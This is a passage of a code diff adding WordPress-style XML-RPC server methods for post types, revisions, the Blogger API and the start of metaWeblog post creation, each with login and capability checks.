+		foreach ($attachments as $attachment )
+			$attachments_struct[] = $this->_prepare_media_item( $attachment );
+
+		return $attachments_struct;
+	}
+
+	/**
+	 * Retrieves a list of post formats used by the site.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 * }
+	 * @return array|IXR_Error List of post formats, otherwise IXR_Error object.
+	 */
+	public function wp_getPostFormats( $args ) {
+		$this->escape( $args );
+
+		$username = $args[1];
+		$password = $args[2];
+
+		if ( !$user = $this->login( $username, $password ) )
+			return $this->error;
+
+		if ( !current_user_can( 'edit_posts' ) )
+			return new IXR_Error( 403, __( 'Sorry, you are not allowed access to details about this site.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getPostFormats' );
+
+		$formats = get_post_format_strings();
+
+		// find out if they want a list of currently supports formats
+		if ( isset( $args[3] ) && is_array( $args[3] ) ) {
+			if ( $args[3]['show-supported'] ) {
+				if ( current_theme_supports( 'post-formats' ) ) {
+					$supported = get_theme_support( 'post-formats' );
+
+					$data = array();
+					$data['all'] = $formats;
+					$data['supported'] = $supported[0];
+
+					$formats = $data;
+				}
+			}
+		}
+
+		return $formats;
+	}
+
+	/**
+	 * Retrieves a post type
+	 *
+	 * @since 3.4.0
+	 *
+	 * @see get_post_type_object()
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 *     @type string $post_type_name
+	 *     @type array  $fields (optional)
+	 * }
+	 * @return array|IXR_Error Array contains:
+	 *  - 'labels'
+	 *  - 'description'
+	 *  - 'capability_type'
+	 *  - 'cap'
+	 *  - 'map_meta_cap'
+	 *  - 'hierarchical'
+	 *  - 'menu_position'
+	 *  - 'taxonomies'
+	 *  - 'supports'
+	 */
+	public function wp_getPostType( $args ) {
+		if ( ! $this->minimum_args( $args, 4 ) )
+			return $this->error;
+
+		$this->escape( $args );
+
+		$username       = $args[1];
+		$password       = $args[2];
+		$post_type_name = $args[3];
+
+		if ( isset( $args[4] ) ) {
+			$fields = $args[4];
+		} else {
+			/**
+			 * Filters the default query fields used by the given XML-RPC method.
+			 *
+			 * @since 3.4.0
+			 *
+			 * @param array  $fields An array of post type query fields for the given method.
+			 * @param string $method The method name.
+			 */
+			$fields = apply_filters( 'xmlrpc_default_posttype_fields', array( 'labels', 'cap', 'taxonomies' ), 'wp.getPostType' );
+		}
+
+		if ( !$user = $this->login( $username, $password ) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getPostType' );
+
+		if ( ! post_type_exists( $post_type_name ) )
+			return new IXR_Error( 403, __( 'Invalid post type.' ) );
+
+		$post_type = get_post_type_object( $post_type_name );
+
+		if ( ! current_user_can( $post_type->cap->edit_posts ) )
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit posts in this post type.' ) );
+
+		return $this->_prepare_post_type( $post_type, $fields );
+	}
+
+	/**
+	 * Retrieves a post types
+	 *
+	 * @since 3.4.0
+	 *
+	 * @see get_post_types()
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 *     @type array  $filter (optional)
+	 *     @type array  $fields (optional)
+	 * }
+	 * @return array|IXR_Error
+	 */
+	public function wp_getPostTypes( $args ) {
+		if ( ! $this->minimum_args( $args, 3 ) )
+			return $this->error;
+
+		$this->escape( $args );
+
+		$username = $args[1];
+		$password = $args[2];
+		$filter   = isset( $args[3] ) ? $args[3] : array( 'public' => true );
+
+		if ( isset( $args[4] ) ) {
+			$fields = $args[4];
+		} else {
+			/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+			$fields = apply_filters( 'xmlrpc_default_posttype_fields', array( 'labels', 'cap', 'taxonomies' ), 'wp.getPostTypes' );
+		}
+
+		if ( ! $user = $this->login( $username, $password ) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getPostTypes' );
+
+		$post_types = get_post_types( $filter, 'objects' );
+
+		$struct = array();
+
+		foreach ( $post_types as $post_type ) {
+			if ( ! current_user_can( $post_type->cap->edit_posts ) )
+				continue;
+
+			$struct[$post_type->name] = $this->_prepare_post_type( $post_type, $fields );
+		}
+
+		return $struct;
+	}
+
+	/**
+	 * Retrieve revisions for a specific post.
+	 *
+	 * @since 3.5.0
+	 *
+	 * The optional $fields parameter specifies what fields will be included
+	 * in the response array.
+	 *
+	 * @uses wp_get_post_revisions()
+	 * @see wp_getPost() for more on $fields
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 *     @type int    $post_id
+	 *     @type array  $fields (optional)
+	 * }
+	 * @return array|IXR_Error contains a collection of posts.
+	 */
+	public function wp_getRevisions( $args ) {
+		if ( ! $this->minimum_args( $args, 4 ) )
+			return $this->error;
+
+		$this->escape( $args );
+
+		$username = $args[1];
+		$password = $args[2];
+		$post_id  = (int) $args[3];
+
+		if ( isset( $args[4] ) ) {
+			$fields = $args[4];
+		} else {
+			/**
+			 * Filters the default revision query fields used by the given XML-RPC method.
+			 *
+			 * @since 3.5.0
+			 *
+			 * @param array  $field  An array of revision query fields.
+			 * @param string $method The method name.
+			 */
+			$fields = apply_filters( 'xmlrpc_default_revision_fields', array( 'post_date', 'post_date_gmt' ), 'wp.getRevisions' );
+		}
+
+		if ( ! $user = $this->login( $username, $password ) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getRevisions' );
+
+		if ( ! $post = get_post( $post_id ) )
+			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
+
+		if ( ! current_user_can( 'edit_post', $post_id ) )
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit posts.' ) );
+
+		// Check if revisions are enabled.
+		if ( ! wp_revisions_enabled( $post ) )
+			return new IXR_Error( 401, __( 'Sorry, revisions are disabled.' ) );
+
+		$revisions = wp_get_post_revisions( $post_id );
+
+		if ( ! $revisions )
+			return array();
+
+		$struct = array();
+
+		foreach ( $revisions as $revision ) {
+			if ( ! current_user_can( 'read_post', $revision->ID ) )
+				continue;
+
+			// Skip autosaves
+			if ( wp_is_post_autosave( $revision ) )
+				continue;
+
+			$struct[] = $this->_prepare_post( get_object_vars( $revision ), $fields );
+		}
+
+		return $struct;
+	}
+
+	/**
+	 * Restore a post revision
+	 *
+	 * @since 3.5.0
+	 *
+	 * @uses wp_restore_post_revision()
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 *     @type int    $revision_id
+	 * }
+	 * @return bool|IXR_Error false if there was an error restoring, true if success.
+	 */
+	public function wp_restoreRevision( $args ) {
+		if ( ! $this->minimum_args( $args, 3 ) )
+			return $this->error;
+
+		$this->escape( $args );
+
+		$username    = $args[1];
+		$password    = $args[2];
+		$revision_id = (int) $args[3];
+
+		if ( ! $user = $this->login( $username, $password ) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.restoreRevision' );
+
+		if ( ! $revision = wp_get_post_revision( $revision_id ) )
+			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
+
+		if ( wp_is_post_autosave( $revision ) )
+			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
+
+		if ( ! $post = get_post( $revision->post_parent ) )
+			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
+
+		if ( ! current_user_can( 'edit_post', $revision->post_parent ) )
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this post.' ) );
+
+		// Check if revisions are disabled.
+		if ( ! wp_revisions_enabled( $post ) )
+			return new IXR_Error( 401, __( 'Sorry, revisions are disabled.' ) );
+
+		$post = wp_restore_post_revision( $revision_id );
+
+		return (bool) $post;
+	}
+
+	/* Blogger API functions.
+	 * specs on http://plant.blogger.com/api and https://groups.yahoo.com/group/bloggerDev/
+	 */
+
+	/**
+	 * Retrieve blogs that user owns.
+	 *
+	 * Will make more sense once we support multiple blogs.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 * }
+	 * @return array|IXR_Error
+	 */
+	public function blogger_getUsersBlogs($args) {
+		if ( ! $this->minimum_args( $args, 3 ) ) {
+			return $this->error;
+		}
+
+		if ( is_multisite() ) {
+			return $this->_multisite_getUsersBlogs($args);
+		}
+
+		$this->escape($args);
+
+		$username = $args[1];
+		$password = $args[2];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'blogger.getUsersBlogs' );
+
+		$is_admin = current_user_can('manage_options');
+
+		$struct = array(
+			'isAdmin'  => $is_admin,
+			'url'      => get_option('home') . '/',
+			'blogid'   => '1',
+			'blogName' => get_option('blogname'),
+			'xmlrpc'   => site_url( 'xmlrpc.php', 'rpc' ),
+		);
+
+		return array($struct);
+	}
+
+	/**
+	 * Private function for retrieving a users blogs for multisite setups
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param array $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type string $username Username.
+	 *     @type string $password Password.
+	 * }
+	 * @return array|IXR_Error
+	 */
+	protected function _multisite_getUsersBlogs( $args ) {
+		$current_blog = get_site();
+
+		$domain = $current_blog->domain;
+		$path = $current_blog->path . 'xmlrpc.php';
+
+		$rpc = new IXR_Client( set_url_scheme( "http://{$domain}{$path}" ) );
+		$rpc->query('wp.getUsersBlogs', $args[1], $args[2]);
+		$blogs = $rpc->getResponse();
+
+		if ( isset($blogs['faultCode']) )
+			return new IXR_Error($blogs['faultCode'], $blogs['faultString']);
+
+		if ( $_SERVER['HTTP_HOST'] == $domain && $_SERVER['REQUEST_URI'] == $path ) {
+			return $blogs;
+		} else {
+			foreach ( (array) $blogs as $blog ) {
+				if ( strpos($blog['url'], $_SERVER['HTTP_HOST']) )
+					return array($blog);
+			}
+			return array();
+		}
+	}
+
+	/**
+	 * Retrieve user's data.
+	 *
+	 * Gives your client some info about you, so you don't have to.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 * }
+	 * @return array|IXR_Error
+	 */
+	public function blogger_getUserInfo( $args ) {
+		$this->escape( $args );
+
+		$username = $args[1];
+		$password = $args[2];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		if ( !current_user_can( 'edit_posts' ) )
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to access user data on this site.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'blogger.getUserInfo' );
+
+		$struct = array(
+			'nickname'  => $user->nickname,
+			'userid'    => $user->ID,
+			'url'       => $user->user_url,
+			'lastname'  => $user->last_name,
+			'firstname' => $user->first_name
+		);
+
+		return $struct;
+	}
+
+	/**
+	 * Retrieve post.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type int    $post_ID
+	 *     @type string $username
+	 *     @type string $password
+	 * }
+	 * @return array|IXR_Error
+	 */
+	public function blogger_getPost( $args ) {
+		$this->escape( $args );
+
+		$post_ID  = (int) $args[1];
+		$username = $args[2];
+		$password = $args[3];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		$post_data = get_post($post_ID, ARRAY_A);
+		if ( ! $post_data )
+			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
+
+		if ( !current_user_can( 'edit_post', $post_ID ) )
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this post.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'blogger.getPost' );
+
+		$categories = implode(',', wp_get_post_categories($post_ID));
+
+		$content  = '<title>'.wp_unslash($post_data['post_title']).'</title>';
+		$content .= '<category>'.$categories.'</category>';
+		$content .= wp_unslash($post_data['post_content']);
+
+		$struct = array(
+			'userid'    => $post_data['post_author'],
+			'dateCreated' => $this->_convert_date( $post_data['post_date'] ),
+			'content'     => $content,
+			'postid'  => (string) $post_data['ID']
+		);
+
+		return $struct;
+	}
+
+	/**
+	 * Retrieve list of recent posts.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type string $appkey (unused)
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 *     @type int    $numberposts (optional)
+	 * }
+	 * @return array|IXR_Error
+	 */
+	public function blogger_getRecentPosts( $args ) {
+
+		$this->escape($args);
+
+		// $args[0] = appkey - ignored
+		$username = $args[2];
+		$password = $args[3];
+		if ( isset( $args[4] ) )
+			$query = array( 'numberposts' => absint( $args[4] ) );
+		else
+			$query = array();
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		if ( ! current_user_can( 'edit_posts' ) )
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit posts.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'blogger.getRecentPosts' );
+
+		$posts_list = wp_get_recent_posts( $query );
+
+		if ( !$posts_list ) {
+			$this->error = new IXR_Error(500, __('Either there are no posts, or something went wrong.'));
+			return $this->error;
+		}
+
+		$recent_posts = array();
+		foreach ($posts_list as $entry) {
+			if ( !current_user_can( 'edit_post', $entry['ID'] ) )
+				continue;
+
+			$post_date  = $this->_convert_date( $entry['post_date'] );
+			$categories = implode(',', wp_get_post_categories($entry['ID']));
+
+			$content  = '<title>'.wp_unslash($entry['post_title']).'</title>';
+			$content .= '<category>'.$categories.'</category>';
+			$content .= wp_unslash($entry['post_content']);
+
+			$recent_posts[] = array(
+				'userid' => $entry['post_author'],
+				'dateCreated' => $post_date,
+				'content' => $content,
+				'postid' => (string) $entry['ID'],
+			);
+		}
+
+		return $recent_posts;
+	}
+
+	/**
+	 * Deprecated.
+	 *
+	 * @since 1.5.0
+	 * @deprecated 3.5.0
+	 *
+	 * @param array $args Unused.
+	 * @return IXR_Error Error object.
+	 */
+	public function blogger_getTemplate($args) {
+		return new IXR_Error( 403, __('Sorry, that file cannot be edited.' ) );
+	}
+
+	/**
+	 * Deprecated.
+	 *
+	 * @since 1.5.0
+	 * @deprecated 3.5.0
+	 *
+	 * @param array $args Unused.
+	 * @return IXR_Error Error object.
+	 */
+	public function blogger_setTemplate($args) {
+		return new IXR_Error( 403, __('Sorry, that file cannot be edited.' ) );
+	}
+
+	/**
+	 * Creates new post.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type string $appkey (unused)
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 *     @type string $content
+	 *     @type string $publish
+	 * }
+	 * @return int|IXR_Error
+	 */
+	public function blogger_newPost( $args ) {
+		$this->escape( $args );
+
+		$username = $args[2];
+		$password = $args[3];
+		$content  = $args[4];
+		$publish  = $args[5];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'blogger.newPost' );
+
+		$cap = ($publish) ? 'publish_posts' : 'edit_posts';
+		if ( ! current_user_can( get_post_type_object( 'post' )->cap->create_posts ) || !current_user_can($cap) )
+			return new IXR_Error(401, __('Sorry, you are not allowed to post on this site.'));
+
+		$post_status = ($publish) ? 'publish' : 'draft';
+
+		$post_author = $user->ID;
+
+		$post_title = xmlrpc_getposttitle($content);
+		$post_category = xmlrpc_getpostcategory($content);
+		$post_content = xmlrpc_removepostdata($content);
+
+		$post_date = current_time('mysql');
+		$post_date_gmt = current_time('mysql', 1);
+
+		$post_data = compact('post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_title', 'post_category', 'post_status');
+
+		$post_ID = wp_insert_post($post_data);
+		if ( is_wp_error( $post_ID ) )
+			return new IXR_Error(500, $post_ID->get_error_message());
+
+		if ( !$post_ID )
+			return new IXR_Error(500, __('Sorry, your entry could not be posted.'));
+
+		$this->attach_uploads( $post_ID, $post_content );
+
+		/**
+		 * Fires after a new post has been successfully created via the XML-RPC Blogger API.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param int   $post_ID ID of the new post.
+		 * @param array $args    An array of new post arguments.
+		 */
+		do_action( 'xmlrpc_call_success_blogger_newPost', $post_ID, $args );
+
+		return $post_ID;
+	}
+
+	/**
+	 * Edit a post.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type int    $post_ID
+	 *     @type string $username
+	 *     @type string $password
+	 *     @type string $content
+	 *     @type bool   $publish
+	 * }
+	 * @return true|IXR_Error true when done.
+	 */
+	public function blogger_editPost( $args ) {
+
+		$this->escape($args);
+
+		$post_ID  = (int) $args[1];
+		$username = $args[2];
+		$password = $args[3];
+		$content  = $args[4];
+		$publish  = $args[5];
+
+		if ( ! $user = $this->login( $username, $password ) ) {
+			return $this->error;
+		}
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'blogger.editPost' );
+
+		$actual_post = get_post( $post_ID, ARRAY_A );
+
+		if ( ! $actual_post || $actual_post['post_type'] != 'post' ) {
+			return new IXR_Error( 404, __( 'Sorry, no such post.' ) );
+		}
+
+		$this->escape($actual_post);
+
+		if ( ! current_user_can( 'edit_post', $post_ID ) ) {
+			return new IXR_Error(401, __('Sorry, you are not allowed to edit this post.'));
+		}
+		if ( 'publish' == $actual_post['post_status'] && ! current_user_can( 'publish_posts' ) ) {
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to publish this post.' ) );
+		}
+
+		$postdata = array();
+		$postdata['ID'] = $actual_post['ID'];
+		$postdata['post_content'] = xmlrpc_removepostdata( $content );
+		$postdata['post_title'] = xmlrpc_getposttitle( $content );
+		$postdata['post_category'] = xmlrpc_getpostcategory( $content );
+		$postdata['post_status'] = $actual_post['post_status'];
+		$postdata['post_excerpt'] = $actual_post['post_excerpt'];
+		$postdata['post_status'] = $publish ? 'publish' : 'draft';
+
+		$result = wp_update_post( $postdata );
+
+		if ( ! $result ) {
+			return new IXR_Error(500, __('For some strange yet very annoying reason, this post could not be edited.'));
+		}
+		$this->attach_uploads( $actual_post['ID'], $postdata['post_content'] );
+
+		/**
+		 * Fires after a post has been successfully updated via the XML-RPC Blogger API.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param int   $post_ID ID of the updated post.
+		 * @param array $args    An array of arguments for the post to edit.
+		 */
+		do_action( 'xmlrpc_call_success_blogger_editPost', $post_ID, $args );
+
+		return true;
+	}
+
+	/**
+	 * Remove a post.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type int    $post_ID
+	 *     @type string $username
+	 *     @type string $password
+	 * }
+	 * @return true|IXR_Error True when post is deleted.
+	 */
+	public function blogger_deletePost( $args ) {
+		$this->escape( $args );
+
+		$post_ID  = (int) $args[1];
+		$username = $args[2];
+		$password = $args[3];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'blogger.deletePost' );
+
+		$actual_post = get_post( $post_ID, ARRAY_A );
+
+		if ( ! $actual_post || $actual_post['post_type'] != 'post' ) {
+			return new IXR_Error( 404, __( 'Sorry, no such post.' ) );
+		}
+
+		if ( ! current_user_can( 'delete_post', $post_ID ) ) {
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to delete this post.' ) );
+		}
+
+		$result = wp_delete_post( $post_ID );
+
+		if ( ! $result ) {
+			return new IXR_Error( 500, __( 'The post cannot be deleted.' ) );
+		}
+
+		/**
+		 * Fires after a post has been successfully deleted via the XML-RPC Blogger API.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param int   $post_ID ID of the deleted post.
+		 * @param array $args    An array of arguments to delete the post.
+		 */
+		do_action( 'xmlrpc_call_success_blogger_deletePost', $post_ID, $args );
+
+		return true;
+	}
+
+	/* MetaWeblog API functions
+	 * specs on wherever Dave Winer wants them to be
+	 */
+
+	/**
+	 * Create a new post.
+	 *
+	 * The 'content_struct' argument must contain:
+	 *  - title
+	 *  - description
+	 *  - mt_excerpt
+	 *  - mt_text_more
+	 *  - mt_keywords
+	 *  - mt_tb_ping_urls
+	 *  - categories
+	 *
+	 * Also, it can optionally contain:
+	 *  - wp_slug
+	 *  - wp_password
+	 *  - wp_page_parent_id
+	 *  - wp_page_order
+	 *  - wp_author_id
+	 *  - post_status | page_status - can be 'draft', 'private', 'publish', or 'pending'
+	 *  - mt_allow_comments - can be 'open' or 'closed'
+	 *  - mt_allow_pings - can be 'open' or 'closed'
+	 *  - date_created_gmt
+	 *  - dateCreated
+	 *  - wp_post_thumbnail
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 *     @type array  $content_struct
+	 *     @type int    $publish
+	 * }
+	 * @return int|IXR_Error
+	 */
+	public function mw_newPost($args) {
+		$this->escape($args);
+
+		$username       = $args[1];
+		$password       = $args[2];
+		$content_struct = $args[3];
+		$publish        = isset( $args[4] ) ? $args[4] : 0;
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'metaWeblog.newPost' );
+
+		$page_template = '';
+		if ( !empty( $content_struct['post_type'] ) ) {
+			if ( $content_struct['post_type'] == 'page' ) {
+				if ( $publish )
+					$cap  = 'publish_pages';
+				elseif ( isset( $content_struct['page_status'] ) && 'publish' == $content_struct['page_status'] )
+					$cap  = 'publish_pages';
+				else
+					$cap = 'edit_pages';
+				$error_message = __( 'Sorry, you are not allowed to publish pages on this site.' );
+				$post_type = 'page';
+				if ( !empty( $content_struct['wp_page_template'] ) )
+					$page_template = $content_struct['wp_page_template'];
+			} elseif ( $content_struct['post_type'] == 'post' ) {
+				if ( $publish )
+					$cap  = 'publish_posts';
+				elseif ( isset( $content_struct['post_status'] ) && 'publish' == $content_struct['post_status'] )
+					$cap  = 'publish_posts';
+				else
+					$cap = 'edit_posts';
+				$error_message = __( 'Sorry, you are not allowed to publish posts on this site.' );
+				$post_type = 'post';
+			} else {
+				// No other post_type values are allowed here
+				return new IXR_Error( 401, __( 'Invalid post type.' ) );
+			}
+		} else {
+			if ( $publish )
+				$cap  = 'publish_posts';
+			elseif ( isset( $content_struct['post_status'] ) && 'publish' == $content_struct['post_status'])
+				$cap  = 'publish_posts';
+			else
+				$cap = 'edit_posts';
+			$error_message = __( 'Sorry, you are not allowed to publish posts on this site.' );
+			$post_type = 'post';
+		}
+
+		if ( ! current_user_can( get_post_type_object( $post_type )->cap->create_posts ) )
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to publish posts on this site.' ) );
+		if ( !current_user_can( $cap ) )
+			return new IXR_Error( 401, $error_message );
+
+		// Check for a valid post format if one was given
+		if ( isset( $content_struct['wp_post_format'] ) ) {
+			$content_struct['wp_post_format'] = sanitize_key( $content_struct['wp_post_format'] );
+			if ( !array_key_exists( $content_struct['wp_post_format'], get_post_format_strings() ) ) {
+				return new IXR_Error( 404, __( 'Invalid post format.' ) );
+			}
+		}
+
+		// Let WordPress generate the post_name (slug) unless
+		// one has been provided.
+		$post_name = "";
+		if ( isset($content_struct['wp_slug']) )
+			$post_name = $content_struct['wp_slug'];
+
+		// Only use a password if one was given.
+		if ( isset($content_struct['wp_password']) ) {
+			$post_password = $content_struct['wp_password'];
+		} else {
+			$post_password = '';
+		}
+
+		// Only set a post parent if one was provided.
+		if ( isset($content_struct['wp_page_parent_id']) ) {
+			$post_parent = $content_struct['wp_page_parent_id'];
+ 		} else {
+ 			$post_parent = 0;
+  		}
+
+		// Only set the menu_order if it was provided.
+		if ( isset($content_struct['wp_page_order']) ) {
+			$menu_order = $content_struct['wp_page_order'];
+ 		} else {
+ 			$menu_order = 0;
+  		}
+
+		$post_author = $user->ID;
+
+		// If an author id was provided then use it instead.
+		if ( isset( $content_struct['wp_author_id'] ) && ( $user->ID != $content_struct['wp_author_id'] ) ) {
+			switch ( $post_type ) {
+				case "post":
+					if ( !current_user_can( 'edit_others_posts' ) )
+						return new IXR_Error( 401, __( 'Sorry, you are not allowed to create posts as this user.' ) );
+					break;
+				case "page":
+					if ( !current_user_can( 'edit_others_pages' ) )
+						return new IXR_Error( 401, __( 'Sorry, you are not allowed to create pages as this user.' ) );
+					break;
+				default:
+					return new IXR_Error( 401, __( 'Invalid post type.' ) );
+			}
+			$author = get_userdata( $content_struct['wp_author_id'] );
+			if ( ! $author )
+				return new IXR_Error( 404, __( 'Invalid author ID.' ) );
+			$post_author = $content_struct['wp_author_id'];
+		}
+
+		$post_title = isset( $content_struct['title'] ) ? $content_struct['title'] : null;
+		$post_content = isset( $content_struct['description'] ) ? $content_struct['description'] : null;
+
+		$post_status = $publish ? 'publish' : 'draft';
+
+		if ( isset( $content_struct["{$post_type}_status"] ) ) {
+			switch ( $content_struct["{$post_type}_status"] ) {
+				case 'draft':
+				case 'pending':
+				case 'private':
+				case 'publish':
+					$post_status = $content_struct["{$post_type}_status"];
+					break;
+				default:
+					$post_status = $publish ? 'publish' : 'draft';
+					break;
+			}
+		}
+
+		$post_excerpt = isset($content_struct['mt_excerpt']) ? $content_struct['mt_excerpt'] : null;
+		$post_more = isset($content_struct['mt_text_more']) ? $content_struct['mt_text_more'] : null;
+
+		$tags_input = isset($content_struct['mt_keywords']) ? $content_struct['mt_keywords'] : null;
+
+		if ( isset($content_struct['mt_allow_comments']) ) {
+			if ( !is_numeric($content_struct['mt_allow_comments']) ) {
+				switch ( $content_struct['mt_allow_comments'] ) {
+					case 'closed':
+						$comment_status = 'closed';
+						break;
+					case 'open':
+						$comment_status = 'open';
+						break;
+					default:
+						$comment_status = get_default_comment_status( $post_type );
+						break;
+				}
+			} else {
+				switch ( (int) $content_struct['mt_allow_comments'] ) {
+					case 0:
+					case 2:
+						$comment_status = 'closed';
+						break;
+					case 1:
+						$comment_status = 'open';
+						break;
+					default:
+						$comment_status = get_default_comment_status( $post_type );
+						break;
+				}
+			}
+		} else {
+			$comment_status = get_default_comment_status( $post_type );
+		}
+
+		if ( isset($content_struct['mt_allow_pings']) ) {
+			if ( !is_numeric($content_struct['mt_allow_pings']) ) {
+				switch ( $content_struct['mt_allow_pings'] ) {
+					case 'closed':
+						$ping_status = 'closed';
+						break;
+					case 'open':
+						$ping_status = 'open';
+						break;
+					default:
+						$ping_status = get_default_comment_status( $post_type, 'pingback' );
+						break;
+				}
+			} else {
+				switch ( (int) $content_struct['mt_allow_pings'] ) {
+					case 0:
+						$ping_status = 'closed';
+						break;
+					case 1:
+						$ping_status = 'open';
+						break;
+					default:
+						$ping_status = get_default_comment_status( $post_type, 'pingback' );
+						break;
+				}
+			}
+		} else {
+			$ping_status = get_default_comment_status( $post_type, 'pingback' );
+		}
+
+		if ( $post_more )
+			$post_content = $post_content . '<!--more-->' . $post_more;
+
+		$to_ping = null;
+		if ( isset( $content_struct['mt_tb_ping_urls'] ) ) {
+			$to_ping = $content_struct['mt_tb_ping_urls'];
+			if ( is_array($to_ping) )
+				$to_ping = implode(' ', $to_ping);
+		}
+
+		// Do some timestamp voodoo
+		if ( !empty( $content_struct['date_created_gmt'] ) )
+			// We know this is supposed to be GMT, so we're going to slap that Z on there by force
+			$dateCreated = rtrim( $content_struct['date_created_gmt']->getIso(), 'Z' ) . 'Z';
+		elseif ( !empty( $content_struct['dateCreated']) )
+			$dateCreated = $content_struct['dateCreated']->getIso();
+
+		if ( !empty( $dateCreated ) ) {
+			$post_date = get_date_from_gmt(iso8601_to_datetime($dateCreated));
+			$post_date_gmt = iso8601_to_datetime($dateCreated, 'GMT');
+		} else {
+			$post_date = '';
+			$post_date_gmt = '';
+		}
+
+		$post_category = array();
+		if ( isset( $content_struct['categories'] ) ) {
+			$catnames = $content_struct['categories'];
+
+			if ( is_array($catnames) ) {
+				foreach ($catnames as $cat) {
+					$post_category[] = get_cat_ID($cat);
+				}
+			}
+		}
+
